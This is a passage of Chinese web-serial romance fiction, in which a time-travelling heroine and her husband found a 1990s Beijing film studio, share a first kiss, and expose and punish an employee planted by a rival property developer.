时墨却忽然伸出手, 指尖轻轻点在他的嘴唇上。 轻柔的触感传来, 谢时昀猛地抬起头,身体瞬间僵住, 像被人施了定身术, 连呼吸都忘了。 他能清晰地感觉到她指腹上细密的纹路, 软软的, 带着刚洗过手的皂角香, 像一片温热的花瓣落在唇上。 他睁大眼睛看着时墨,眼里的光芒一点点亮起来,像夜里被点燃的星火, 从微弱的光点,烧成可燎原的大火。 时墨的目光落在他微微颤抖的嘴唇上,停留了两秒, 鬼使神差地,用指尖轻蹭了下。 谢时昀的呼吸猛地一滞。 下一秒,时墨却收回了手,转身往堂屋走,声音听不出情绪:“很晚了,你该回去了。” 谢时昀眼里的光芒瞬间熄灭,像被兜头泼了一盆冷水。嘴唇上还残留着她指尖的温度,烫得他心口发疼。 他站在原地,看着时墨纤细的背影消失在门后,心里空落落的,嘴角的笑容彻底垮了下去。 果然,他还是太急了。 “那……那我先回去了,你早点——” 他自嘲地笑了笑,转身准备离开。 就在这时,身后忽然传来急促的脚步声。 谢时昀还没来得及回头,手腕就被一只温热的手牢牢抓住。紧接着,一股力道猛地将他往后一拽,他踉跄着转过身,低下头,撞进了时墨那双清亮的眼眸里。 时墨一把拽住他的衣领,猛地往下拉。 谢时昀猝不及防,整个人被她拽得弯下腰。鼻尖几乎要碰到她的额头。他还来不及反应,两片柔软温热的唇就贴了上来。 温热的,带着红枣姜茶淡淡的甜意,和秋夜微凉的气息交织在一起。 时墨嘴唇软得像刚出锅的年糕,贴在他唇上的触感又暖又柔,还带着一点点因为紧张而微微发颤的轻抖。 两人鼻尖相抵,呼吸交缠在一起,温热的气息扑在彼此脸上,带着滚烫的温度,像潮水一样将他从头到脚淹没。 谢时昀的大脑“嗡”的一声,彻底空白,什么声音都听不见了,只剩下自己如擂鼓般的心跳声,咚、咚、咚,每一下都震得他耳膜发痛。 他闻到了她头发上洗发水的香味,感受到了她嘴唇的温度和柔软,整个人像被钉在了原地,双手僵在身侧,不敢动,不敢抱她,连呼吸都不敢太重,生怕惊走了这个来之不易的吻。 夜风卷起她的长发,发丝扫过他的脸颊,痒痒的,却比不上心里那点酥麻的悸动。 就在谢时昀终于找回理智,颤抖着伸手想要搂住她的腰,加深这个吻的时候,时墨却猛地松开了他,后退了一步。 干脆利落,不带一丝留恋。 彷佛刚才那个莽撞、主动的吻只是谢时昀的错觉。 她的脸颊红得像熟透的水蜜桃,连耳根都染透了粉色。眼神却依旧强装平静,清了清嗓子,故作淡定道:“行了,今天就到这。我要休息了,你回去吧。” 说完,不等谢时昀反应,她转身大步走进屋,“砰”的一声关上了房门。 屋里,时墨背靠着门板,抬手捂住自己的脸,掌心下的温度烫得吓人。她咬了一下嘴唇,上面还残留着谢时昀唇上的温度。 她刚才冲动了。 都怪谢时昀,一副可怜巴巴像被主人弃养的大狗狗模样。谁能顶得住? 门外,谢时昀站在原地,一动不动。 夜风吹过来,吹动他衬衫的下摆,带来一丝凉意,却吹不散他脸上滚烫的温度。 他抬手,指尖慢慢触上自己的嘴唇,那里还残留着她的温度和柔软,带着一点点因为紧张而轻咬过的酥麻。 谢时昀忽然笑了。 先是弯了嘴角,然后笑出了声,笑着笑着,眼眶就红了。 他转过身,脚步虚浮地往外走,走到院门口的时候,被门槛绊了一下,一个趔趄差点摔倒,赶紧扶住门框稳住身子。他回头看了一眼那扇紧闭的堂屋木门,窗户上映出暖黄色的灯光,时墨的影子一闪而过。 谢时昀又摸了摸自己的嘴唇,踩着胡同里斑驳的月光往家走,脚步发飘,好几次都觉得自己要飞起来了。明明只有二十步的距离,硬是走出了一个喝醉了酒的人的姿态。 到家之后,他没有开灯,一路摸黑走进卧室,栽倒在床上,把脸深深埋进枕头里,闷闷地笑了好久。 笑够了,他又翻过身来,把手背搭在眼睛上,反复抚摸着嘴唇回味。嘴唇上那股柔软的触感还清晰得刻在了骨子里,鼻尖好像还萦绕着她身上那股淡淡的花香。 她吻他了。 时墨真的吻他了。 想到这儿,谢时昀忽然翻身坐起来,冲到卫生间,“啪”地打开灯,对着镜子仔细端详自己的嘴唇。 镜子里的人眼睛亮得不像话,嘴唇微微红肿,上唇有一小块被咬过的痕迹。他用指尖轻轻碰了碰那处痕迹,一阵酥麻的细微痛感传来。 他忽然懊恼地想起来,刚才她亲他的时候,他整个人呆得像根木头,什么反应都没有。 动都没动一下。 他闭上眼,把脸埋进手心里,过了好一会儿才抬起头,对着镜子里的自己低声骂了一句:“谢时昀,你真是个废物。” 下一次,他不会再像个木头桩子了。 当夜,谢时昀做了一晚上的梦,梦里全是时墨的样子。 早上,他是在一阵难以言说的燥热中醒来,被窝里一片狼藉,他躺在床上盯着天花板看了好一会儿,然后无奈地捂住脸,长长地叹了口气。 他起身掀开被子,把床单扯下来扔进洗衣机,又重新冲了个澡。洗完出来,对着镜子刮胡子的时候,看到嘴唇上那块微肿的痕迹已经消了大半,只留下一小块浅红。 他手指顿了顿,没忍住又笑了。 收拾完自己,他端着热气腾腾的早饭去了对面。 时墨正在院子里打太极,白色的棉麻衣裤,头发用一根木簪松松挽在脑后,动作舒缓流畅,像一幅流动的画。 听到敲门声,时墨收了势,擦了擦额角的汗,去开门。 两人目光在门槛处撞上了。 “早。”时墨侧身让他进来。 “早。”谢时昀把早饭放到屋里餐桌上,目光不经意地扫过她的嘴唇,又飞快地移开,耳尖泛红,“我买了你爱吃的豆腐脑,多放了香菜,还有辣椒油。” 时墨坐下,拿起勺子舀了一口。抬眼瞥见他一副做贼心虚的样子,时不时偷偷瞟她一眼,嘴角还挂着藏不住的笑。 “你一早上傻笑什么?”时墨夹了一根油条,抬起眼皮瞥了他一眼,问道。 谢时昀下意识摸了摸自己的脸:“我笑了吗?” 时墨没理他,继续吃饭。心里却忍不住想:一个吻,就能让谢时昀傻成这样? 吃完油条,时墨忽然说:“一会儿给你拿把大门钥匙。以后不用敲门了,直接进来就行。” 谢时昀摆餐的手猛地一顿,猛地抬起头,眼睛亮得惊人:“真的?” “嗯。” “那以后院子里的花花草草,还有浇水修枝这些活,都可以交给我。” 时墨看了他一眼:“你还会修枝?” “不会。”谢时昀老实答道,“但我可以学。” 谢时昀低下头,嘴角的笑意根本压不住。 两人沉默地吃了大半,时墨剥着茶叶蛋时,忽然道:“嘴还疼吗?” 谢时昀抬头看她,低声道:“不疼,下次,可以再重点。” 时墨手里的鸡蛋差点没拿稳:“没有下次了。” 谢时昀笑道:“好,那昨天的也不算。” “谢时昀!” 时墨一怒之下,把剥好的鸡蛋直接塞进了他嘴里, 谢时昀被塞了满嘴,还在笑,跟只偷了腥的猫一样。 * 一个月后,“墨昀影视文化有限公司”正式在京城挂牌成立。 开业那天,没有大肆操办,只是在公司门口放了两挂鞭炮,挂了一块黑底金字的招牌。但消息传出去,整个京城的影视圈都震动了。 这家公司的三个股东,一个是当下有名的青年作家和文物专家时墨,一个是地产新贵谢时昀,还有一个是手握好莱坞资源的外商伊恩。这样的阵容,前所未有。 消息见报的第二天,《京城日报》用了半个版面报道这件事,标题写着“民营资本进军影视行业,时墨谢时昀联手打造‘墨昀文化’”。紧接着《华夏电影报》《京城广播电视报》《京城晚报》也纷纷跟进,连《香江日报》都在娱乐版块转载了这条消息。 九十年代初,正是港台影视横扫内地的时候。香江的警匪片、台岛的言情剧,霸占了家家户户的电视机。内地的影视公司大多是国营的,机制死板,待遇低下,很多有才华的演员和导演都被埋没了。港台剧组来内地拍戏,更是把内地演员当背景板使唤,同工不同酬是常有的事。有时一个内地主要演员的片酬,还不及港台一个配角的零头。 墨昀影视的成立,像一颗投入平静湖面的石子,激起千层浪。 “时墨这是要干嘛?她一个写书的、修古建的,跑来拍电影?” “听说她之前投过几部电视剧,赚了不少,手里有本钱。” “有本钱有什么用?影视圈的水深着呢,她一个外行能搞明白?” 质疑的声音不少,但观望的人更多。大家都想看看,这家背景雄厚的民营公司,到底能搞出什么名堂。 而那些跟时墨合作过的演员,知道时墨出手大方、尊重演员,消息一出就打了电话过来。 前两年她投资的电视剧《古巷人家》里演女二号的徐晓曼,干脆直接找到了公司。 “时总,我跟你干!”徐晓曼坐在会客室里,一双杏眼亮晶晶的,满是期待,“我在剧团一个月拿三百块钱,演来演去就是那些角色。我想出来闯一闯,签你们公司!” 时墨正在翻阅一份文件,闻言抬起头看她:“你想好了?出来单干可不容易,剧团那边可是铁饭碗。” “想好了!”徐晓曼用力点头,马尾辫跟着甩了甩,“我跟团里的合同本来就快到期了,续签我还没签,违约金我自己能付。时总您之前拍《古巷人家》的时候我就知道了,您对演员好,跟着您干准没错。” 时墨看了她一眼,点了点头:“行,回头让法务把合同给你。底薪给你开到一千,正常上五险一金,片酬按市场价的一点五倍算。” 徐晓曼一下子就红了眼眶:“谢谢时总!谢谢您!” 徐晓曼走后,时墨对谢时昀说:“追着她想签的公司可不少,她是主动送上门的,这种踏实肯干又有灵气的演员,得留住。以后公司的重点项目,可以优先考虑她。” 谢时昀点头记下:“明白,我会安排的。” 接下来的一个月,“墨昀文化”的名字在圈子里越传越广。 公司开出的条件比国营制片厂宽松得多——演员底薪不低于八百,交五险一金,片酬按劳分配,绝不拖欠;导演创作自由度高,公司绝不干涉内容;编辑版权归属清晰,创作者享有终身署名权。一时间吸引了不少有实力但受限于体制的人才。 有在剧团待了十几年、空有一身演技却无人问津的老戏骨,有写了七八年剧本、投出去就被退回来的落魄编剧,也有刚从电影学院毕业、被分配到制片厂坐冷板凳的年轻人。他们揣着简历、作品集、获奖证书,敲响了墨昀影视的大门。 公司前台姑娘忙得脚不沾地,光是登记来访者的信息就记了满满两大本。 时墨本来想亲自面试,但国家文物局那边突然来了通知,她在南方参与的古建筑修复项目已经获批,需要立刻赶过去实地勘察,主持前期的测绘和文献梳理工作。 “公司的事就交给你们俩了。”时墨把一摞厚厚的资料放在桌上,“演员签约的事,时昀你先把关,来混日子,人品不好的一律不要,有潜力的新人可以多给机会。剧本的事,伊恩你多盯着点,我圈出来的那几个编辑,一定要签下来,不惜代价。” “你放心去,这边有我。”谢时昀点头,给她倒了一杯温水,“去了那边照顾好自己,山里天冷,多带几件厚衣服。有事随时给我打电话,我飞过去找你。” 时墨笑了笑:“我又不是小孩子,还能不知冷热?” 伊恩也笑着说:“墨墨,你就安心去修你的古塔。公司这边有我们盯着,保证不会出乱子。等你回来,说不定我们的第一个项目都能开机了。” 时墨这一去,就是两个月。 西山古塔的修复工作比预想的要复杂。塔基下沉,塔身倾斜,壁画剥落,每一个问题都牵一发而动全身。时墨带着专家组住在山脚下的招待所里,每天天不亮就上山,天黑了才下来。 白天的工地上尘土飞扬,她要戴着安全帽爬上搭好的脚手架,一寸一寸地检查砖石的磨损程度;晚上回到招待所,别的同事倒头就睡,她还得趴在桌上整理当天的测绘数据,写修复方案。 小七每天在她脑子里嚎叫:【宿主!你不能操劳!你要躺平!你这是要把我往死里整啊!我不想被降级去扫垃圾站!】 时墨一边画图纸一边在心里回它:“好,我明天就躺。” 【你上次也是这么说的!上上次也是这么说的!你每次都这么说!】 “这次是真的。”时墨心虚地加快了画图的速度,“明天画完早睡晚起。” 小七在系统空间里急得直跺脚,却拿她没办法,只能一天三遍地提醒:【宿主注意休息】【宿主该睡觉了】【宿主你再不睡我不但扣你能量币,还电晕你!这次真电!】。 时墨永远到最后惩罚来临前一刻,遵守住规则。 工程到了尾声,专家组开始收尾工作,时墨终于不需要天天盯在现场,这才抽出时间,去了一趟深市找秦野。 秦野的公司在国贸大厦,这是当时深市最高的建筑,也是中国第一高楼。站在办公室的落地窗前往外看,到处都是热火朝天的建筑工地,整个城市都在拔节生长。 “可以啊秦总,都在国贸办公了。”时墨笑着说。 “时墨?你怎么来了?”秦野看到她,惊讶地从办公桌后面站起来,手里的签字笔都掉了。 “我那边项目到尾声了,正好抽空过来。”时墨没客气,一屁股坐在会客区的沙发上,把手里的资料袋扔在茶几上,“顺便跟你谈笔生意。” 秦野捡起笔,笑着走过来在她对面坐下:“你一开口就是生意,能不能先寒暄两句?下车吃饭了吗?累不累?我给你倒杯茶?” “那就先倒茶。”时墨靠在沙发上,揉了揉发酸的肩膀。 秦野给她泡了一壶铁观音,茶汤金黄透亮,香气清幽。 时墨端起杯子喝了一口,舒服地叹了口气,然后打开资料袋,把里面的文件一份一份摊在茶几上。 “这是我在深市、珠市和鹏城圈出来的几块地。”时墨的手指在地图上点了几下,“这一片,现在看着偏,但三年之内,政府会在这儿修地铁,建商业区,绝对的黄金地段。这块地的价格,现在是这个数。”她比了个数字。 秦野凑过来看了一眼,倒吸一口凉气:“这么便宜?” “现在便宜,三年后翻十倍。”时墨靠在沙发笃定道,“你把这几块地拿下来,不用急着开发,捂在手里三年,光地价差价就够吃一辈子。” 秦野看着她,眼神复杂。他知道时墨从不说没把握的话,她竟这么信任他。 “还有,”时墨又从资料袋里抽出一份文件,“你们家船运生意,现在主要做内河运输对吧?我建议你开始向近海转型。未来十年,进出口贸易会翻十倍,近海集装箱运输是风口。你现在开始布局,等别人反应过来,你已经占住码头了。” 秦野拿着那份文件,翻来覆去地看了好几遍,抬起头看着时墨,眼睛里满是感激和敬佩:“时墨,你这些东西,拿出去卖都值钱。” “我不卖,只给你。”时墨端起茶杯又喝了一口,语气淡淡道,“你是我在南方最信得过的人,我投资你,你赚钱就是我在南方赚钱。不过唯独一条,我们要独立出来,你明白吗,秦野。” 秦野心里一热,毫不犹豫地点头:“好!你说怎么干,就怎么干!” 谈完合作,秦野走到保险柜前,打开柜门,从里面捧出一个锦盒,放在时墨面前。 “这是什么?” “你打开看看。” 时墨揭开锦盒的盖子,里面是一个明代的紫檀镇纸,雕工精细,包浆温润。 “这是我前阵子在一个老华侨手里收的,正好配你写东西用。”秦野笑着说。 时墨拿起镇纸,指尖划过细腻的木纹:“这礼物我很喜欢。” “你喜欢就好。” 两人又聊了将近一个小时的生意,从地皮聊到码头,从码头聊到将来可能合作的影视项目。时墨说了自己想拍古建筑纪录片的计划,秦野立刻表示可以在南方提供拍摄场地和人脉支持。 临走的时候,时墨把锦盒抱在怀里,站在电梯口回头看了秦野一眼:“对了,你上次说的——” 秦野摆了摆手,笑容里带着释然:“别提了,都过去了。你现在是谢太太,我祝福你们。时墨要是哪天他欺负你,你一定要告诉我。” “他不敢。”时墨笑了,电梯门合上了。 秦野站在走廊里,看着电梯显示屏上的数字一层一层往下跳,站了好一会儿,才转身回了办公室。 与此同时,京城这边,谢时昀和伊恩把公司打理得有声有色。 谢时昀虽然不懂影视,但他懂管理和人性。他制定了一套合理的薪酬制度和晋升体系,给演员和创作者足够的尊重和创作自由。 凡是签进公司的演员,不管名气大小、资历深浅,基本待遇一视同仁。他还专门从香江请了专业的经纪团队来给新签约的演员做培训,从形体到台词到镜头感,系统性地提升。 伊恩则利用自己的好莱坞资源,引进了先进的制片技术和工业化管理经验。他从洛杉矶请了两个好莱坞的幕后技术顾问过来,给公司的制作团队做为期一个月的培训,从分镜设计到灯光布景到后期剪辑,手把手地教。 这几个老外一开始还担心水土不服,来了之后发现内地这帮年轻人学东西比谁都快,一个比一个拼命。 时墨虽然人在南方,但每天晚上会准时打电话过来。谢时昀就把当天的面试情况、签约进展、项目筹备进度一五一十地跟她汇报,两人一聊就是半小时起步。 “今天来了个编剧,叫刘平,写了部剧本叫《大明王朝》,我看了一下,写得相当好。”谢时昀的声音从电话那头传来,带着难得的欣赏,“他说他手里还有好几个本子,想跟我们长期合作。” 电话这头,时墨正趴在招待所的床上,手里拿着铅笔在图纸上勾画,听到这个名字手里的笔一顿:“刘平?” “对,你听过?” 时墨的声音有点怪,像是在忍笑:“听过。这个人,一定要签下来,条件可以给他最好的,签字费按最高的给。” “好。”谢时昀认真记下。虽然他不太明白为什么时墨对这个素未谋面的编剧这么看重,但时墨说的话,从来没错过。 挂了电话,时墨躺在床上,看着天花板上斑驳的水渍,忍不住笑出了声。刘和平啊,后来写出《大明王朝1》和《北平战事》的人,现在居然还是一个名不见经传的小编剧,主动找上门来求合作。 这个时代,真是遍地是黄金,就看你会不会弯腰捡。 * 两个月后,山里的古塔修复工作终于告一段落。 时墨瘦了一圈,但精神头反而更足了,眼睛里带着一种风尘仆仆之后的明亮。她拖着行李箱走出到达口,远远就看到谢时昀站在接机口。 谢时昀在一群接机的人当中格外显眼,他的目光一直在出站的人群里搜寻,看到时墨的那一刻,整张脸都亮了起来。 他快步迎上来,接过她的行李箱,自然地帮她把耳边散落的发丝别在耳后:“累不累?” “还行。”时墨摘下墨镜,看了他一眼,目光在他脸上停留了两秒,“你倒瘦了,公司事不需要全部亲力亲为,可以多招几个助理。” “没瘦,就是想你想的。”谢时昀笑了,眼底满是温柔:“我现在还能忙的过来。” 时墨没接这话,偏过头往前走。但谢时昀注意到她拉开车门的时候,嘴角有一个来不及收回去的弧度。 两个小时后的公司会议室里,三个人坐在长条桌前。 时墨翻开笔记本,先过了一遍这段时间的签约情况。谢时昀把整理好的资料推过来,厚厚一摞,分门别类,每个签约对象都附上了个人资料、评估意见和合同要点,清清楚楚。 “刘和平签了?” “签了,五年的独家约。”谢时昀把合同复印件推过来,“条件按你说的,签字费五万,剧本 分成公司七他三,版权永久归他个人,我们只拿全球发行代理权,还有衍生品开发的收益分成,也写进去了。” 时墨满意地点点头,又翻了翻演员的签约清单。徐晓曼的名字赫然在列,后面还跟着七八个名字,有些她认识,有些完全陌生。谢时昀在旁边用小字标注了每个人的特点、潜力和推荐指数。 “这几个老戏骨,”时墨指着名单上几个名字,“不签长约是对的,他们这个级别的演员,自由身比被绑定值钱。按项目签约,片酬可以适当上浮,建立良好合作关系。” “明白。” 伊恩接话:“对了,我从好莱坞请了三个特效师,下周就到北京。我想我们可以成立一个特效工作室,这是国内第一个专业的影视特效团队。” 时墨眼睛一亮:“这个想法太好了!现在国内的特效全靠港台和国外,成本高,效果还不好。我们自己建特效工作室,不仅能给自己的片子用,还能接外面的活,以后绝对是一块大蛋糕。” 谢时昀立刻点头:“资金方面没问题,我已经批了一百万,作为工作室的启动资金。场地就在公司隔壁,已经租好了。” “那就这么定了。”时墨在本子上记下,“现在说项目。我们的战略很明确:两条路。” 她伸出两根手指:“先拍商业片,赚快钱。跟风拍港式警匪片、古装武侠片,用市场最欢迎的题材,快速回笼资金。另一条,拍我们自己的风格,古建筑纪录片、历史正剧、现实主义题材。这些片子可能不赚钱,但做出精品,能打响我们的品牌,传播华夏文化。” “用商业片养文艺片,用赚来的钱搞特效、搞创作。”时墨看着两人,眼神坚定,“我们不仅要赚钱,还要让全世界看到,华夏也能拍出举世瞩目的电影!” 谢时昀看着时墨整个人都在发光。 这就是他喜欢的人——永远站在时代的最前面,看得比谁都远,想得比谁都深。 伊恩看着时墨眼里满是敬佩,他以为时墨开影视公司只是为了赚钱,没想到她有这么大的格局。 “我完全同意。”伊恩立刻说,“纪录片的海外发行交给我,我认识欧洲和北美的几个纪录片频道,他们对东方文化非常感兴趣。” “好。”时墨点头,“但这个项目不急,先把古装探案那个本子磨出来。第一部戏,不求一鸣惊人,但求稳扎稳打。名字我想好了,就叫《大唐幻夜》。以女皇时期为背景,一个大理寺少卿,一个江湖女侠,联手破案。有朝堂权谋,有江湖恩怨,也有儿女情长。主角也要用我们公司自己签约的演员,肥水不流外人田。” “那演员方面,徐晓曼可以试试女侠那个角色。”谢时昀立刻接话,翻开笔记本里徐晓曼的资料页,“她的气质偏清冷,但试镜的时候我让她试了一段打戏,身段很好,学过两年武术。” “行,让她来试镜。男主角的事,发出去公开选,不要内定。这个行业,我们公司的优势就是绝对的公平。” 伊恩看了看手表:“已经七点多了,今天先到这?墨刚下飞机,让她回去休息。”他一边收拾桌上的文件,一边问道:“对了,我这两天收到几个香江那边的电话,有几家公司想跟我们合作,联合投拍几部电影,基本都是警匪片和武侠片。” 时墨站起身,把散落的文件拢了拢:“先不急,摸清楚他们的底再说。香江那边水很深,别轻易下水。但有一点——” 她看着伊恩,语气认真道:“如果合作,所有涉及内地取景、内地演员的条款,必须一视同仁。内地演员的片酬、署名权、宣传待遇,必须和港台演员完全一样,不能有任何差别对待。这是我做影视公司的底线。以前怎么样我管不着,但合作就得按照我们的规矩来。” “这个条件,恐怕有些人不会轻易接受。”伊恩皱了皱眉。 时墨拿起桌上的茶杯,喝光了最后一口凉透的茶,不容置疑道:“那就别合作。我宁可少赚几个钱,也不能让我们的演员被人看低。等我们自己做起来了,就不是我们求着他们合作,该他们求我们了。” 会议室里安静了一瞬。 谢时昀看着她从容收拾文件的背影,嘴角慢慢弯了起来。 伊恩笑了,用他带着洋腔的中文说了一句:“墨,你就是我在华夏遇到的最厉害的女人,你真是让我更爱你了。” 谢时昀脸色瞬间黑了。 时墨头都没抬:“少拍马屁,把欧洲纪录片频道的事落实了比什么都强。” * 随着公司的名气越来越大,找上门来的人也越来越杂。 有送剧本来的,有毛遂自荐的,有拉投资的,还有纯粹来攀关系的。 时墨不常在公司,她的时间被文物局的项目和剧本创作分成两半。但每次出现在公司,都会引起一阵骚动。 她年轻,漂亮,有才华,有钱,有爱国心,不但处事公平,还有一个愿意把全部身家都交给她、在外人眼里“倒贴上门”的丈夫。 在大多数人眼里,她是命运的宠儿,是那种让人又羡慕又嫉妒、却偏偏恨不起来的女人。 有些人远远看着,感叹几句就算了,有些人却动了歪心思,想走捷径上位。 下午,时墨从外面开完会回来。 她从走廊那头出现时,几个正在走廊里聊天的员工看到她,立刻站直了身子,自动让出一条路。 一个穿着黑色紧身针织衫的年轻男人突然从拐角处走出来,手里端着一杯刚冲好的热咖啡。 两人擦肩而过的时候,他“不小心”手一歪,整杯咖啡都泼在了时墨的羊绒大衣上。 “时总,对不起对不起!”男人脸上写满了惊慌,声音都变了调,手忙脚乱地从口袋里掏出纸巾,弯腰就要往时墨身上擦,“我真不是故意的!我帮您擦——” 时墨往后退了一步,避开了他的手。 她低头看了看大衣前襟上的咖啡渍,深棕色的一片,从胸口一直蔓延到腰间,在驼色的面料上格外刺眼。 她又抬起头,看着眼前的男人。二十二三岁的样子,长相端正,浓眉大眼,身材也不错,黑色针织衫勾勒出结实的肩背线条。 他的视线从时墨的脸上快速移到她的大衣上,又从大衣上移回她的脸上,眼神里那点心虚还没来得及收好。 “你哪个部门的?”时墨的声音不大,走廊里却瞬间安静了下来。 男人愣了一下,似乎没料到时墨第一句话不是骂他,而是问他部门。 他张了张嘴,声音有点发虚:“我……我是新来策划组助理,上周刚入职,我叫陈泽远。时总,真的对不起,我赔您一件新的吧……” “不用了。”时墨打断他,对着不远处的行政说,“张姐,给他结一下这个月的工资,让他走人。” 陈泽远的脸刷地白了:“时总,我真的不是故意的!您再给我一次机会吧!我家里还有老母亲要养啊!” “机会?”时墨冷笑一声,“想走捷径之前,先掂量掂量自己几斤几两。墨昀影视不养心思不正的人。” “我没有!我……” 时墨平静地阐述事实,让走廊里所有人都听得一清二楚:“你刚才走过来的时候,眼睛一直在看我的位置。到拐角的时候明显减速等我过来。泼咖啡的手法也很专业,正好泼在大衣前襟,不会溅到脸上,也不会烫到我。” 时墨看着男人那张渐渐失去血色的脸,淡淡道:“如果你真想引起我的注意,有很多种方式。用这种手段,太低端了。而且,”她低头看了一眼自己的大衣,“这件大衣从意大利买的,一万八。走之前把干洗费交了。” 说完,时墨转身就走,留下陈泽远站在原地,脸色一阵青一阵白。 等时墨身影消失,走廊里才像炸了锅一样。 “我的天,时总也太厉害了吧?一眼就看穿了?” “干洗费一万八?她还真让人家赔啊?” “废话,泼了人家衣服不该赔?一万八还是便宜的,我看那料子……” “活该!谁让他耍这种小聪明。” “啧啧,小陈这胆子也太大了。听说他是上个月谢总亲自面试进来的,还夸他有灵气呢。这下好了,灵到姥姥家了。” 时墨回到办公室,把沾满咖啡的大衣脱下来挂在衣架上,给自己倒了杯水。 小七在她脑子里叽叽喳喳:【宿主英明!这种想靠潜规则上位的小人,就该直接赶走!】 【我看出来了。】时墨喝了一口水,淡淡道。 【那你打算怎么办?】 【不是已经办了吗?】时墨挑了挑眉,【开除,让他赔偿干洗费。】 【宿主,你不觉得这个人的出现很蹊跷吗?一个刚入职不到一个月的新人,哪来的胆子敢对你下手?要不要我查查?】 时墨端着水杯的手顿了一下,目光微凝,嘴角慢慢弯起一个意味深长的弧度:【我让行政留了他的入职档案,不用浪费你能量。】 【高!宿主实在是高!】小七在系统空间里疯狂摇旗呐喊。 时墨没再理它,坐回办公桌前,翻开“大唐幻夜”的剧本初稿,继续往下看。 她不知道的是,陈泽远从行政部办完手续出来,并没有像其他被开除的人一样灰溜溜地离开。 他走出大楼,回头看了一眼“墨昀文化”那块黑底金字的招牌,眼里闪过一丝阴狠。 他从大衣内兜里掏出一部砖头大小的摩托罗拉手机,翻开盖子,拨了一个号码。 “喂,张总。”他把手机贴在耳边,声音比在公司里低了八度,像个换了个人,“我这边没成。时墨这个人,比传闻的还要精明,一眼就看出来了。” 电话那头传来一个中年男人低沉的笑声,笑声里带着一种志在必得:“我早就说过,时墨不是那么容易搞定的。既然这条路走不通,就走另一条。你留在京城别回来,我另有安排。”【..top】 第101章【VIP】 第101章 陈泽远前脚刚离开墨昀文化, 后脚公司里的议论声就传进了谢时昀耳朵里。 彼时他正在办公室核对影视项目的资金报表,行政部的张姐敲门进来,把陈泽远的离职手续和那张一万八的干洗费收据放在桌上, 顺嘴提了一句:“谢总, 那个新来的策划助理陈泽远, 刚被时总开了。” 谢时昀手里的笔顿了一下:“什么原因?是工作失职?” 张姐压低声音, 把走廊里发生的事一五一十地说了。 谢时昀听完,面色如常地把文件签完,等张姐出去之后,他脸上的温和瞬间褪得一干二净。放下笔,靠在椅背上, 手指在扶手上轻轻叩了两下, 眼底的温度一点一点降到了冰点。 是他亲自面试招进来的人。 是他的疏忽,把关不严, 才让这般心怀不轨的人混进公司, 凑到时墨面前,惹她心烦。 这个年代名声对一个女人而言格外重要, 时墨年纪轻轻闯出名堂, 本就被不少人盯着挑错, 若是今日陈泽远的算计成了, 往后流言蜚语能把人淹没。 他这辈子, 生意场上的对手使绊子、抢项目、下阴招,他都能淡然接招,甚至留几分余地。可唯独牵扯到时墨, 他半分都忍不了。更何况对方手段如此下作,竟是往他妻子身边安排居心叵测的男人,摆明了想毁了时墨, 又能拿捏他的软肋。 谢时昀拿起桌上的电话,拨了个号码。 “老周,帮我查一个人。陈泽远,二十三岁,上个月刚入职墨昀影视策划部。我要他家近三代的信息,近三个月的银行流水,所有通话记录,还有他入职之前跟谁接触过。越快越好。” 电话那头应了一声,挂了。 谢时昀放下电话,手指在桌面上轻轻叩了两下。他想起陈泽远面试那天谈吐得体,对影视行业的策划工作说得头头是道,专业成绩也亮眼,他当时还觉得这年轻人踏实有灵气,是个可塑之才,可以培养。 现在想来,这“灵气”来得太巧了。 谢时昀闭上眼,捏了捏鼻梁,心头满是后怕与恼恨。 他绝不会让任何人,以任何方式,伤害到时墨分毫。 老周是退伍军人出身,办事稳妥,效率也快,短短两天就把陈泽远的底细翻了个底朝天。 第三天下午,一份厚厚的档案放在了谢时昀桌上。 “陈泽远,去年从戏剧学院毕业,进了香江一家影视公司做策划助理,干了不到半年就因和已婚女上司搅和在一起被老公找上门开除了。今年回北京,到处投简历,最终进了咱们公司。”老周指着档案里的几页纸,“这是他近三个月的银行流水,您看这笔钱——上个月十五号,他的账户里突然多了十万块,汇款方是鹏城的一家贸易公司。” 谢时昀翻到那页,目光落在那笔汇款上。十万块,对一个刚毕业不到一年的年轻人来说,不是小数目。 “那家贸易公司是个空壳公司,注册地址就是个废弃仓库。但我顺着资金链往上追,最终查到了京城的盛达地产——就是上半年跟咱们抢城西地块的李总公司。” 谢时昀目光落在“盛达地产”四个字上,嘴角勾起一抹冰冷的笑意。 这家地产公司他太熟了。上半年两家争城西的一块地,两家公司争了大半年,最后被墨昀地产以微弱优势拿下。李总那人本就心胸狭隘,输了地块后怀恨在心,谢时昀不是不知道,只是没想到,对方会把主意打到时墨身上。 “不知死活。” 老周跟了谢时昀十年了,知道老板这是真怒了,小心翼翼地问:“谢总,陈泽远那边,要不要再盯一阵?” “不用了,他翻不出什么浪。”谢时昀将档案袋锁进办公桌抽屉里,“这件事你辛苦了。” 谢时昀做事向来雷厉风行,从不爱拖泥带水。他先拨了行业商会的号码,把陈泽远的名字报了上去,理由是“品行不端,职业操守问题,不建议行业内录用”。商会的秘书长跟他私交不错,二话没说就应了。 在九十年代初的京城,行业黑名单极具分量,一旦上榜,京城所有影视、文化相关企业,永远不会录用此人。 随后,谢时昀又让心腹联系公司所有的合作方,禁用陈泽远,彻底堵死了他在相关行业的所有出路。 不过几天,陈泽远就成了京城影视圈的过街老鼠,别说找专业工作,连进其他公司打工都没人敢收,最终只能灰溜溜卷铺盖离开北京,这辈子都再没踏入过京城半步。 解决完陈泽远,谢时昀转头就把矛头对准了幕后主使李总。 “喂,李总,我是谢时昀。听说贵公司最近在城西那块地的项目上遇到了点困难?我对那个项目有兴趣,想谈谈收购的事。” 电话那头沉默了几秒,传来李总谨慎的声音:“谢总,那块地我们还在运作,暂时没有转让的打算。” 谢时昀嘴角弯了一下,笑意却没到眼底:“李总,咱们明人不说暗话。你们那个项目的资金链快断了吧?与其烂在手里,不如转给我。价格按市场价,我不压价。当然,如果你们不肯卖,我也不勉强。” “但我提醒你一句——你们去年在城北拿的那块地,今年的政策变了,容积率上限调低了。三个月不开工,地块就会被政府收回,到时候你血本无归。” 挂了电话,谢时昀直接启动全面反击。 接下来的三个月,京城的商界风云变幻。 墨昀地产以雷霆之势截胡盛达所有待开发项目,联合合作方切断其资金链,又实名举报盛达违规违建、偷税漏税,证据确凿。 李总慌了神,连着组了三次饭局,托了无数关系想要说情,求谢时昀高抬贵手、放他一马。可谢时昀却连面都没露,只让老周带了一句话:“打我妻子主意,就该做好接受后果的准备。” 不到三个月,曾经在京城地产界小有名气的盛达地产彻底破产,公司被清算,李总欠下巨额外债,彻底从商圈销声匿迹。 